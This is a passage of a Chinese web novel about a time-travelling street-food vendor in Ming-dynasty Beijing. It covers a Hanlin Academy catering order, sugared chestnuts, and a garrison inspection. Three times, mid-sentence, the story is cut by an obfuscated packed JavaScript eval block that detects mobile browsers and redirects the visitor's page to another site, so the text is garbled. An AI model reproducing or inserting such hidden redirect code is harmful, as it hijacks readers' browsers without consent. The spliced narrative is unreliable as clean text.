学正微怔，下意识就要拒绝。 但余光瞥见那煎饼烙得两面金黄酥脆，一股从未闻过的香味扑面而来，终还是忍不住接过来尝了一口。 味道果然不俗。 他又问价钱，得知不过六七文一个，心中顿时有了计较。 聚欢楼价贵，廊下食难吃，不若换成洁净可口的街边小食，既可趁机改善下翰林院的日常饮食，还能让阁老尝个新鲜。 遂对陈述安排道：“既然你与那摊主相熟，此事便交由你去问问，看那摊主可否愿意接一单私活。须问明她能否置办百份此种吃食，五日后于午时初送至角门，届时银钱比市价略高，绝不相亏。” / “一百份？” 姜至喜抬起头。 这不是后世餐饮习惯的预订餐么。 来不及的感慨这份“时髦”，便听到了预订数量，秀气的眉毛微微挑起，显然是被这笔大手笔给震惊到了。 陈述颔首，解释道：“我们学正是翰林院的官人，娘子不必担心银钱，此番采买愿出二两银子，绝不让娘子吃亏。” 姜至喜其实并不担心，只是：“这煎饼果子需得现做现吃风味才足，若是放凉了，味道恐怕欠佳。” 陈述没想到这一层，一听也发起愁来。 姜至喜却迅速做好决定。 她平日出摊，一天也不过能卖三四十个，如今对方一口气就要百份，单这笔进账，肯定就要选择多的。 何况……那可是翰林院！ 姜至喜一直觉得姜家人微力薄，身后无所倚仗，担心小食摊被人找麻烦，这才同那些衙役们打好交道。如今能翰林院的人都主动靠上来了，她还有什么理由拒绝？ 那旁，陈述见她半天没说话，只当她不愿，正准备再次劝说，姜至喜已经果断点头：“不如我将摊子一起推过去，届时给大人们现做，这样速度或许慢了些，但可以佐以些汤食，想必也能供应。” 陈述略微思索便答应下来：“这二两银子只是煎饼果子，若再加上汤，我便再给小娘子添二两。” 学生大人让他全面负责，一两银子而已，他还是可以做主的。 二两再加一两，也就是四两银子！都要赶上她一月的收益了！ 姜至喜听得眼睛闪亮，接！ 不接白不接！ 20. 第 20 章 第20章 自古以来，翰林院便是国家的人才储备之地，到了明代，更形成了“非进士不入翰林，非翰林不入内阁”的风潮。姜至喜从未想到，自己不过在街边摆摊卖煎饼果子，名气居然能传到了翰林院。 毕竟是去新的地方，激动之余，她也没有忘记正事，赶紧细细打听相关事宜。 末了故作紧张：“小女虽觉得自家煎饼果子还算可口，但也明白千人千味，不知各位大人口味上可有忌讳，若到时弄巧成拙，反倒不美了。” “姜小娘子不必多虑。” 陈述语气和善：“学正亲自尝过姜记的煎饼果子，甚是称赞。”略顿了顿，觉着此事并非不可言说，“近日院里正紧着编书，诸位大人时常焚膏继晷，忙到深夜，每日供应的膳食却是格外清淡，恰巧学正瞧见在下拎着您家的煎饼果子入院，这才起了心思。” “原来是陈大人推荐的。” 她突然想起来，昨日摊子前的确来了许多穿着官袍的食客，口中言其“陈兄介绍的”、“和陈兄吃的一模一样”，彼时她忙着摊煎饼，未来得及深究。 如今想来，便是这位陈大人了吧。 姜至喜忍不住有些感慨，放在后世，这位陈大人高低算是个带货博主啊。 陈述连忙摆摆手：“算不上推荐，分明是小娘子做得好吃，在下只是实话实说罢了。” “那也要多谢大人。”带货主播可不多见，何况对方还给自己牵了这样一桩大生意，总归要答谢一二。限于时间地点，姜至喜只能就地取材，手脚麻利地舀了一勺面糊，在饼铛上均匀的摊开，霎时间，麦香味扑面。 既是答谢，自然要做的周到。 姜至喜把鸡子、猪柳、里脊、豆芽、生菜等配菜都加得足足的，最后卷成一个金黄饱满的卷筒，热气腾腾地递到陈述面前。 “大人这般早就过来，怕是还未用过朝食，这粗鄙之物不成敬意，还望大人莫要嫌弃，垫一垫肚子。” 俗话说，君子慎取，陈述下意识就要拒绝，然而他刚抬起手，煎饼果子的香味已经钻进了鼻子，稍一恍惚，那写着豆芽法的油纸包已经稳稳拿到了掌心。 “……” 耳根滚烫，对上姜小娘子疑惑的目光，陈述更是恨不得找个地缝钻进去，实是不知道自己撞了哪门子邪。 可让他还回去，又实在舍不得。 最后厚着脸皮接受下来。 不过到底要点儿面子，陈述没有当着姜小娘子的面吃，而是道谢后离开摊子，直至走出一段距离方才停下，迫不及待解开油纸，大口咬下去。 “唔！就是这个味道！” 熟悉到让人流泪的美味，抚平了天不明赶路的寒冷。陈述忍不住大力咀嚼，饼皮滑嫩，肉质丰饶，酱香浓郁，很难想象可以在一道菜里吃到这么丰富的味道，咬开一层再接着一层，层层有不同香味。 陈述打算的很好。 只尝两口就走，剩下的拿到翰林院慢慢享受。可嘴里的滋味实在熨帖，那个，再吃最后一口，最后一口，不知不觉竟真的成了最后一口！ 待一整张饼吃完，望着空空如也的油纸袋，陈述后知后觉地生出几分懊恼。 不是懊恼自己吃完了，而是方才光顾着说话，竟忘记多买几份煎饼果子，还有那胡辣汤，初时觉得呛口，这几日习惯了，反而一日不喝都难受！ 眼下已走出老远，若再折回去，怕是要耽误上值的时辰。 陈述只能遗憾叹了口气，暗自盘算，等过几日姜小娘子去翰林院时，自己定要敞开肚皮吃个尽兴。 却说另一边，送走陈述后，姜至喜便开始思考接下来的事情。 翰林院订的数量实在多，她这边只有自己一个人，估计到时候得拉上大哥加班加点做了。 就是不知道那天卫所忙不忙，自从薛三那事之后，姜家虽未受牵连，但想也知道，肯定成了卫所格外留意的对象。大哥这些日子行事难免小心翼翼，要是因为摆摊去告假，落在有心人眼里，不知又要惹出什么事端。 至于雇外人帮手……姜至喜摇摇头，很快就否了这念头。 一来需要多出一份工钱；二来煎饼果子做法不难，唯一特别的便是她熬的酱料，这酱的方子若被别人瞧了去，也就没什么稀奇了。 想来想去，只能自家人多受累些。 脑子里有计划，姜至喜逐渐放下心来，恰好有客人过来，她重新打起精神，专注于眼下的事情。 大单虽然重要，但小食摊同样不差，而且后者才是她目前的“筹码”，绝对不能放弃。 今日的生意络绎不绝。 有喜欢煎饼果子味道的回头客，也有单纯为了“发豆芽法子”来的新客，无论如何，姜至喜都尽心尽力，服务好每一个客人。 等盆里的面糊见了底，摊子前还陆续有人过来，姜至喜只能表达歉意，并承诺明日一定多备些面糊，才将人客客气气地送走。 潮水褪去，热闹了一早上的摊子逐渐安静下来，姜至喜擦了擦额头的汗，没有休息，而是趁热打铁，将一应杂物器皿收拾妥当。 炉火浇水熄灭，锅碗瓢盆按照大小收好摞齐，忙碌一早上，周围不可避免散落了许多垃圾，姜至喜拿着专门带来的扫帚，仔细将其扫进布袋。 隔壁的王大见状，还以为她不清楚其中内情，疑惑问：“姜小娘子何必费力收这些秽物，一会儿收了市，自会有专人来扫除。” 明人可没有什么公共卫生意识，即便有相关条文约束，但也只是针对“污水”、“粪土”，日常经营中的脏污，往往依赖小贩们的自觉。 以至于天子脚下的京师，还能看到“秽沉狼藉，臭腐精月不消”的景象。 姜至喜不止一次被路过马蹄熏得面如土色，心中明白，这种经年累月的恶习不是自己一两句话就能动摇，况且旁人凭什么听她的？说不定说多了，反倒被嫌弃多管闲事。 可若因此随波逐流，改了自己的习惯，又绝对做不到。 遂并不与其争论什么，转而笑了笑。 “多谢王大哥提醒，只是不出意外，我和兄长大概会常在此处摆摊，拾弄得干净些，瞧着也舒心。说起来，以前总听老人念叨，灾荒年间容易催生疫病，我就寻思，那种时候路边都是倒了站不起来的，苍蝇在尸体上飞，又脏又臭，这两样事，会不会有联系呢？” 王大被她这话唬了一跳：“还有这种说法？” “我也只是随口听来的，做不得准，横竖是顺手的事，就当图个心安。” 话虽如此，王大咂摸着姜至喜的话，心里信了几分。 姜家小娘子年纪虽小，但这段时间无论是摆摊还是行事，比大人都要稳妥。 再看一眼旁边齐整的摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012913|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面，对比远处的污糟，王大心里莫名嫌弃起来，决定离开时也把周围收拾了干净。 半刻钟后，姜洪气喘吁吁出现在街头。 他约是一路跑过来的，脸颊通红冒着蒸汽，额头沁出豆大的汗珠，汗湿了鬓角：“喜姐儿，等久了吧？” 姜至喜摇了摇头，先是递过去一张帕子让人擦汗，随后才有些好奇地问：“大哥这么着急，是卫所有事么？” “今早跟着总旗出城运木材，说是趁着天气暖，给卫所加盖几间新屋子。” 一边回答，姜洪一边弯腰把独轮车抬起来，小山丘似的车子，在他手里轻飘飘的仿若棉花：“你不知道，那山上竟然有一大片野生栗子树，我趁歇气的时候偷偷捡了些毛栗子回来。” 姜至喜：“那可好，到时候我得好好琢磨，拿这栗子做点儿新鲜吃食。” 兄妹二人闲聊着，并肩往家的方向走。 全然不知，就在他们离开后不久，一辆马车“咯噔咯噔”从附近缓缓驶过。 车子在路口停下。 赶车的老仆从车辕上跳下来，朝路两边张望了几眼，回过头禀告：“老爷，这边有卖馒头的，也有卖汤饼的，您看您想用点儿什么？” 车帘掀开，露出一张胡子花白的脸。 若姜至喜在此，定会认出这辆马车，以及马车上的人。 毕竟几天前，就是这辆马车差点儿撞到她，还让她赔了一张鸡子水饼。 徐溥没什么胃口。 自从那日尝过鸡子水饼，家里的饭菜便总觉得缺了几分滋味，他试着让仆从去找寻那对送水的兄妹，可惜无果。 直到前些日子的朔望朝，徐溥偶然闻到一股神似鸡子水饼，却更为浓郁的香气！ 同样是鸡子，薄油煎过两面，煎出醇厚的奶香，混着某种熟悉陌生的咸酱，一会儿是菜，一会儿是肉，宽一点，杂一点，把那味儿衬托得幽静深远。 光是回想，徐溥便口生津液，连上朝时也禁不住频频走神。 而就在昨日，那香气竟出现了！ 徐溥表面不动声色，实际暗地里凝神细辨，终于在一番努力下，找到了香味飘来的方向——正是左侧靠后的那列队伍。 依照排列班序，似是翰林院的官员？ 徐溥眼底露出一抹思索。 不知从何时开始，朝中逐渐流传一种说法，非进士不入翰林，非翰林不入内阁。 他想起自己年轻时候，年少得志，进士及第登一甲榜眼，被授翰林院编修，后由先帝迁太常卿兼翰林院学士。如今虽已入阁为相，说到底，翰林院是他仕途的起点。 回去瞧瞧，也说得过去吧？ 徐溥咳了咳，端肃的脸上半点不见私心。 他不过是与翰林院的学正打了个招呼，问问《实录》修纂的细节。学正为人热忱，尊老爱幼，主动邀他去翰林院坐坐，如此盛情，便是他也不好推拒。 此刻听到老仆问话，徐溥回过神，吩咐道：“随意买些素馒头，再去百味斋称两样点心。” 虽然上门的心思不单纯，但其中礼数却不能少。退一万步讲，万一那香气是偶然，走这一趟总不至于空着肚子。 思及此，在官场混迹了大半辈子的老人捻了捻胡须，无奈摇了摇头。 真是越活越倒退了，居然也和翰林院那些后生似的，好起这口舌之欲。 21. 第 21 章 第21章 姜至喜可不知道，自己用来赔罪的鸡子水饼，竟让人念念不忘。 回到家，她一眼就看到了姜洪口中偷偷捡回来的“毛栗子”。 原以为只是一小捧，顶多用箩筐装回来，谁知事实大相径庭。望着院子石板上那堆得像座小山似的栗子，姜至喜脱口而出：“怎么这么多？！” 姜洪搓着手，笑容有点憨厚：“上一年爹拾回来的那些栗子，我记得你很喜欢，所以这次便多拾了些，就是箩筐太小，我把大牛跟二狗子的外衣扒下来，包了好几大包。” 姜至喜一时无语。 果然，人只有在做“坏事”的时候，才会格外不怕麻烦。 因着栗子太多，她不得不仔细盘算，势必物尽其用，才不辜负了姜洪的一片慈兄之心。 最后决定，一部分留着，过几天买只鸡一起炖，做成板栗炖鸡。 鸡肉酥软不失其形，栗子生吃微甜，小火炖煮后，吸饱了鸡汤，口感变得粉糯绵软，便是小妹也能尝尝味儿。 剩下的不浪费，炒个风靡街边的小食，糖炒栗子。 宋朝诗人陆游写过一篇《老学庵笔记》，其中提及故都的李和煼栗，言其“名闻四方，他人百计效之，终不可及”。 “煼”既为“炒”，那李家栗子未必是用糖炒的，但至少从侧面证明，宋朝人已经开始吃炒栗子。姜洪和珍姐儿听了后，果然没有觉得新奇，珍姐儿还主动请缨去捡石头。 姜至喜不得不叮嘱。 不能靠近河边。 不能和陌生人说话。 捡石头时注意大小，以粗砂或小直径的石子最佳。 珍姐儿歪了歪脑袋，头顶的羊角发髻跟着一晃，霎是可爱：“为什么小的更好？” “石子小了，能把栗子全部裹进去，同时隔绝过烫的锅底，四面受热均匀，栗子才不容易糊，就好似……给栗子洗一场酣畅的空气浴？” 珍姐儿从来不知炒栗子还有这般是门道，眼睛亮亮的。 她未必明白什么直径，受热均匀等几百年后的名词，但她喜欢姜至喜认真地跟她讲话，这让珍姐儿觉得被重视，有一种自己可以为家里出力的感觉。 “嗯！我一定仔细挑！” 这边安排完小孩子，姜至喜也没有闲着。 先把小山似的毛栗子分成几份，拿着小刀挨个划个十字，只见灵巧的刀尖在她指间飞舞，随即一旋一挑。 硬邦邦的栗壳瞬间绽开规整的裂口，露出里面淡黄色的果仁，一颗颗饱满地排在盆里，等着下锅。 待珍姐儿脸蛋红红地提着石子回来，姜至喜已经生好火。 洗净砂石，翻炒预热至烫手的程度，再倒入处理好的栗子，二话不说，抡起大锅铲就是干！ 这活看着简单，其实很费力气和功夫，姜至喜炒了一会儿手臂就酸了，恰好姜洪刷完推车进来，便顺势交给对方。 一开始，姜至喜还担心姜洪在卫所累了一天，手上会没力气，哪想少年接过铲子后翻炒得比她稳，后面兴致起来，直接抓着锅柄颠起勺。 姜至喜目瞪口呆，加上砂石和栗子，这锅少说得有五十来斤吧！ 她或许对原身这位兄长的力气，认识的有些浅了。 两刻钟后，栗子炒得半熟，姜至喜见状，赶紧把化开的糖稀沿着锅边淋入。 刚沾上砂石，“滋啦”一声，糖稀化作几道袅袅白烟，珍姐儿惊呼：“啊！糖没了！” 姜至喜笑起来：“你再仔细看看呢。” 珍姐儿不明所以，但还是听二姐的话凑近了瞧。 这一瞧便发现了秘密，糖稀哪里是消失？分明是裹到了砂石和栗子表面，油亮可鉴，在日头下反射着漂亮的抛弧光！ 一股独属于糖炒栗子的香味飘散出来，带着栗子的香，焦糖的甜，还有若有若无柴火的气息。 甜滋滋，暖融融。 珍姐儿：“吸溜——” 小脸一红，慌乱抬起头来。 结果正好看到大哥和二姐偷咽口水。 小姑娘顿时松了口气。 还好还好，她的馋是祖传的。 姜至喜的确有点儿馋甜食了。 等过段时间雪化干净，她准备搭个柴火窑。 届时摆摊之余，还能时不时做几窑的面包甜点，打开古代女子和小孩的市场。 回归眼下。 在粗砂的“均匀受热”下，栗子的外壳逐渐变成漂亮的暗褐色，油光光的。 先前划开的十字小口，鞭炮似的“噗”的绽放，再藏不住里面金灿的“琥珀肉”，一个个挺着胸膛，攒着一股劲儿，颇有些烈火焚烧全不怕，也留香味在人间的姿态。 实在等不及了，姜至喜拍拍大哥的胳膊，让他先铲一铲子出来。 刚出锅的糖炒栗子，热气腾腾，姜至喜和珍姐儿一伸手，指尖就被烫到缩回。 这时候，能徒手抓一把栗子还面不改色的姜洪，别提多让人羡慕了。 想学习，奈何人家是天生的皮糙肉厚，姐妹俩只好一边对着手指吹气，一边眼巴巴守栗待兔。 忽然，两人面前多了几颗剥好壳的栗子肉。 姜洪咧嘴笑：“大哥不怕烫，剥给你们吃。” 他是家中兄长，虽然也馋糖炒栗子的香味，但看到妹妹们期待的样子，更想让妹妹们先尝尝。 姜至喜也没推辞，笑着伸手接过来，然后分了一半给珍姐儿，姐妹俩仔细送入口中。 栗子拿着烫手，吃进嘴里的温度反倒能够接受。 烤到发硬的外表，颜色从浅黄变成蜜蜡，好看极了，唇瓣用力，本以为会费些力，没想到轻而易举就破开！ 嘿！原来是个虚张声势的“硬”！ 珍姐儿是知道糖炒栗子的，但从来没有吃过。 只很久以前跟着姜母参加庙会时，人头攒动，不到腰间高的小人，被母亲牵着手，歪歪撞撞从缝隙里找出路，曾远远闻到过那股子炒货的焦甜。 而此刻，她总觉得二姐炒的栗子味道更加香，仿佛钓鱼的鱼钩，直勾勾勾着人的鼻子。 再吃，哎呀！这真是毛栗子的味道吗？！ 炒熟的栗子粉沙沙、糯绵绵，有点儿类似蛋黄的口感，轻轻一抿就在珍姐儿舌尖化开。甜味也化开了，带着焦糖香，和糖稀的甜不同，糖炒栗子的甜更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016025|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来自于它本身，温吞吞的。 因为是新打下来的栗子，水分足，不像陈栗子有些“干”，炒熟后保留着部分水分，吃起来不会噎挺。 珍姐儿嚼啊嚼，嚼啊嚼，刚咽下一颗，手已经不由自主伸向下一颗。 有时候，还会和姜至喜撞到一起。 姜至喜尴尬不已，自己居然和小孩抢吃的。 虽如此，她的手却没有停下来，谁让这辈子，她确确实实是只有“十五岁”的姜至喜呢？ 两个姑娘家，吃起东西小口小口，但积少成多。没一会儿，炒栗子的空壳就在旁边堆成了小山，连负责剥壳的姜洪，指尖都染得黑黑黄黄。 空气中的香味愈发浓烈，他忍不住吞咽口水，嘴里早已经泛滥成灾。 掌心蓦的一热。 他低头一看，多了两颗油润润的栗子仁。 一颗圆润光滑，是姜至喜剥的，另外一颗带着碎壳，是珍姐儿匆匆忙忙塞过来的。 “大哥，你也吃！” 姜洪愣了愣，反应过来后嘴角险些咧到耳边去，他眼睛通红地望着两个妹妹，随后重重“嗯”了一声。 你一颗我一颗， 你一颗我两颗。 兄妹三人吃得酣畅满足。糖炒栗子虽是小食，但淀粉含量足，很有饱腹感，连晚饭都不用做了。 初时还算兄妹有恭，后面单看谁的手更快！ 抢到最大颗的人振臂高呼，剩下的两人唉声连连，很快又重振旗鼓，准备下一轮的争夺。 不大的厨房里，只剩下细微的咀嚼声，尽管中途姜至喜总觉得自己似乎忘记了什么，不过很快，便被满口的香甜给转移注意。 管它呢，既然忘记，肯定不是重要的事情！ 天色暗沉，灶台里的明火“噗嗤”跳动，逐渐矮了下去，只留阵阵余温暖着身子，正在这个时候，堂屋里忽然传出一阵嘹亮的哭声！ 还在襁褓里的小妹，用她幼小的身躯所能发出的最大动静，来表达自己的不满。 厨房安静下来，姜至喜、姜洪、珍姐儿面面相觑，脸上不约而同浮现一丝心虚和惊恐。 糟糕！ 光顾着吃栗子，竟把小妹给忘记了！ 以至于那霸道、闻得到吃不到的甜香，硬生生把小妹给馋哭了！ “快，快去蒸蛋！” 最先反应过来的是姜至喜，她抬手推了一把姜洪，自己则赶紧站起来往屋里跑。 姜洪忙不迭去磕鸡子，珍姐儿也小跑着拿碗筷调羹。 小妹生气，小妹闹腾，小妹狼嚎。 小妹折腾了大半夜，终于在两碗蛋羹的“孝敬”下，大发慈悲呼呼大睡。 可苦了另外三人，跟着熬了半宿，第二天，姜家兄妹毫无意外起晚了。 等到姜洪睁开眼，看到外外高挂的日头，顿时吓了一大跳。 爬起来叫醒姜至喜，两人手忙脚乱收拾，推着车摊出了门。 姜洪先把喜姐儿送到大都角头，后又匆匆返回家，本就起晚了，这下更是来不及吃早食。 看到厨房里放着昨日炒的糖炒栗子，他随手抓了几把塞进衣兜，便赶紧往校场而去。 22. 第 22 章 第22章 晴空万里。 校场靠近北安定门，今日刚到地方，姜洪就察觉到些许不对劲。 往常松散的气氛变得凝重，所有军户都神情紧绷，他尚未弄明白情况，住在同巷的林大牛已经一把将人拽进队伍。 “别愣神了！今日指挥使大人亲自过来巡视，小心被他逮到过错！” 姜洪一听，赶紧站好。 林大牛也是如此，不过…… 他吸了吸鼻子，什么味道这么香？ 不止他，周围的其他军户也闻到了。 众人早上来卫所点卯，肚里那点吃食早就耗空了，更有些人是饿着肚子来的，腹中孤鸣阵阵，林大牛便是后者，终于，他忍不住问：“你们有没有闻到一股子香味？” “一群大老爷们哪来的香味，我看你小子是不是想娘们了！” 林大牛：“放屁！我真闻到了，甜香甜香，比我娘做的红糖鸡子都香！” “胡说八道，还有比红糖鸡子香的东西？” “就是，我家过年称了几两红糖，我偷偷尝过，那滋味当真是美味。” “哎哟，大牛哥哥，你看奴家身上香不香呀？” 有军户学着女人家的扭捏，作势往林大牛身上靠。 林大牛显些气得仰倒，他是真的闻到了！见众人不相信，当即耸动着鼻子就要闻——他鼻子打小就灵敏，爹娘常笑他是“狗托生的”，鼻翼抽动间，那股子香味果然更浓了。 从左到右，再往前凑半步，不对，还得往右，最后，他停在了姜洪身边，鼻子紧紧贴着对方的腰侧，眼睛爆发出亮光：“就是这里！香味就是从这里飘出来的！” 瞬间，四周安静下来，所有人的目光都钉在姜洪身上。 姜洪黝黑的脸一下子红到了耳根，他搓了搓粗壮的手指，在众人“香女人竟是你”的调笑中，尴尬地从怀里掏出个布包。 “不是我，是我妹妹做的糖炒栗子。” 都是同卫所的幼军，年纪相差不大，彼此之间很熟悉。姜洪人虽憨厚，但并非不懂人情世故。 见林大牛几个眼巴巴盯着自己手里的糖炒栗子，他犹豫片刻，到底还是肉痛地解开布兜系绳：“那个，你们要不要尝尝？” 话音刚落，一群人便饿虎扑食，蝗虫般蜂拥而上。 “我早上没吃饭，让我先拿！” “哎哟，你没吃饭是你的毛病，关我们什么事！洪哥儿，上次我可是分过你半个窝头——” “呸！一个窝窝头记到今日，心眼比针眼还小！” “洪哥儿，俺没有他那么小气，俺用煮鸡子跟你换！” 吵吵嚷嚷，推推攘攘，当真是几百只鸭子在耳边。 林大牛离得近，又是第一个发现香味来源的，在其他人还没有反应过来的时候，已经率先从姜洪的布兜里掏走一把糖炒栗子。 因为掏的太多，还收到了姜洪的怒目而视。 不过林大牛脸皮厚，浑然不放在心上。 他不仅鼻子灵，为人处世也跟狗兄学了个七八分：该摇尾时摇尾，该叼食时绝不松口。 譬如这糖炒栗子，没见洪哥儿已经收起来了，要不是他手快，哪里能拿到这么多！ 林大牛得意洋洋。 栗子是昨日炒的，一晚上过去，早已经凉透，外壳摸上去硬邦邦的，林大牛也不讲究，在衣摆上蹭了蹭，囫囵着丢进嘴里。 牙齿一咬，“嘎嘣”一声，嘴里的栗子壳便顺着十字花对半裂开，他舌尖那么一勾一嘬，圆润饱满的栗子肉脱壳而出，再噘起嘴一吐，壳也出来了。 比起周围那群又是扣又是咬，啃得七零八落的同伴，他这吃栗子的功夫，完全算得上高手。 起初，林大牛还有心情瞧一瞧旁人的狼狈，可嘴巴下意识咀嚼了几下，那点儿闲心瞬间收回来，再顾不得其他。 这糖炒栗子，不对劲。 如今市面上的糖炒栗子，闻着香，品相却是参差不齐，或颜色深浅不一，或火候过了，栗子焦糊半边的，更甚至，有用那陈年老油的，吃起来美味之余总夹杂着一股子齁腻味。 林大牛向来不爱碰。 可眼下这一颗，却让他愣住了。 栗肉饱满、粉糯、香甜，口感是白面粉般的均匀细腻，从内到外的软糯，没有半生不熟的硬芯。 味道也非齁腻，反而甜滋滋，焦香香，还有…… 额，他吃的太快，等反应过来，栗子已经下肚，颇有些囫囵吞枣的意味。 赶紧又摸出一颗。 壳依旧硬，但栗子肉可以完完整整脱出来，连一向让人拿恼怒的那层内皮，也服服帖帖，半点儿不沾牙。 这炒栗子人的火候控制，简直绝了！ 林大牛忽然觉得，昨日还让他馋得不行的红糖鸡子，和眼前的糖炒栗子简直没有可比性。 如果说刚出锅的热栗子是一种味觉与视觉的盛宴，那么冷掉的糖炒栗子更能显示出原本的底蕴。 千帆过后，一切返璞归真，果肉从黏软，变得踏实紧致，虽内里仍是糯的，但却自有韧性，嚼起来别有一番滋味。 那种出锅飘香万里的香味，冷凝之后，逐渐收敛、减淡，只留下淡淡的坚果香。但千万不要以为它如此便不甜了，相反，它更甜了。 栗子自身的香甜味在空气中被充分激发，与糖稀带来的焦香完美融合，咀嚼的途中慢慢漾开，比热时更清晰，甜而不腻，回味悠长。 林大牛珍惜地舔了舔手指，好处是，一大早能吃到此等美食，整个人由内而外的舒服。坏处是，这下胃口彻底打开了。 他的目光不由得再次移向姜洪，眼珠子活像抽了绳的陀螺，滴溜溜转个停，见状，姜洪当即警惕地把布兜扎起口。 “嘿嘿，你……” “不行！” 姜洪想都没想便摇头。 这可是喜姐儿专门给他炒的，自己都不舍得吃，结果让这群饕餮给吃掉大半。 早知道他宁愿饿着肚子，也不把糖炒栗子拿到校场来。 林大牛贼心不死，还想再说些什么，正此时，前方传来一阵细微的嘈杂声，卫指挥使和同知一同出现在校场入口。 这下子，他终于放弃，缩着脖子溜回队伍里，只舌头时不时舔一下嘴角，咂摸那点儿所剩无几的甜味。 卫指挥使乃卫所的指挥使，正三品的大官，威仪深重，军户见了他，如老鼠见猫咪，个个眼观鼻鼻观心，不敢乱动，指挥使所到之处，连喘气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021276|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声都压得低低的，落针可闻。 行至姜洪这一排时，那脚步声忽然停住。 姜洪不知道发生了什么，身体下意识绷紧，额头也冒出密密麻麻的冷汗。 他听到指挥使开口，语气深沉：“你那衣兜里装的是什么？” 落后一步的同知不明所以。 但目光顺着卫指挥使望过去，看到姜洪那张脸时，同知的面色还是瞬间阴沉下去。 前些日子因着底下军户私自做生意，冲撞了锦衣卫，险些牵连到他，同知心里本就窝着一股火，此刻见指挥使对其不满，立刻出声呵斥： “说你呢！校场重地，岂容你私藏杂物，还不赶快拿出来！” 姜洪不过是卫所底层的幼军，平日连上官的衣角都难见到，哪里经得住当面斥问？一时脑中空白，嘴唇嗫嚅，半天没有发出声音。 落在同知眼中，就成了对方故意装聋作哑，蔑视自己的罪责。他心头火起，大跨步上前就要将人拽出队列，关键时刻被卫指挥使拦下。 后者看向姜洪：“不必慌张，我只是想看看你那布兜里的物什。” 姜洪不敢违抗军令，小心翼翼把布兜里的糖炒栗子拿出来：“大人明鉴，小的并未偷拿校场的杂物，而是小的从家里拿糖炒栗子。” 既然开了口，之后的话就变得顺畅起来。 想到这段时间姜家一众变故，姜洪不由得悲从心来：“小的父母去世，家中断粮，多亏二妹想出赚钱的法子才得以维持家用。正好妹妹喜欢吃板栗，小的才从山上捡了些毛栗子回来，绝非有意怠惰卫所的事情。” 他以为指挥使得知了自己昨日的行为，所以来特意问罪。 一旁，同知简直怀疑自己耳朵。 不过几颗不值钱的野栗子，也值得他掖掖藏藏？白费他还以为抓住了对方什么把柄。 卫指挥使倒是眸光炯炯有神地看了会儿，随后虚握拳抵在唇边轻咳一声，移开视线。 不过姜洪垂着头，对此毫无察觉。 布兜不大，被饕餮同僚们哄抢一番后，如今只剩下一小捧。 卫指挥使观察片刻，忽然伸手捻起一颗，剥壳吃进嘴里。 流动的空气陷入凝滞，校场上，所有人都目瞪口呆地看着这一幕。 姜洪也傻了眼。 指挥使大人不是来问罪的吗，怎么吃起了他的糖炒栗子？ 众目睽睽之下，卫指挥使表情淡定，仔细品味着口中味道。 栗子糯软香甜，焦香四溢，味道果然比闻着还要香，他神情若有所思。片刻后，才抬眼看向姜洪：“这栗子是谁炒的？” 姜洪一愣，忙答道：“是，是家中妹妹。” 卫指挥使颔首，将布兜拢好，却并没有还给姜洪，而是顺势收回自己的袖中。 “操练之时不得私携吃食，此物暂且没收。” 闻言，姜洪郁闷至极，但暗地里又偷偷松了口气，抬头看见同知正盯着自己，还朝对方露出一个憨笑。 同知：“……” 哪来的傻小子，真是气煞他也。 只是后半程操练，没有吃过早食的姜洪因为饿着肚子，力气都比平日小了三分之一。 嗯，还是一拳头能打倒两个人。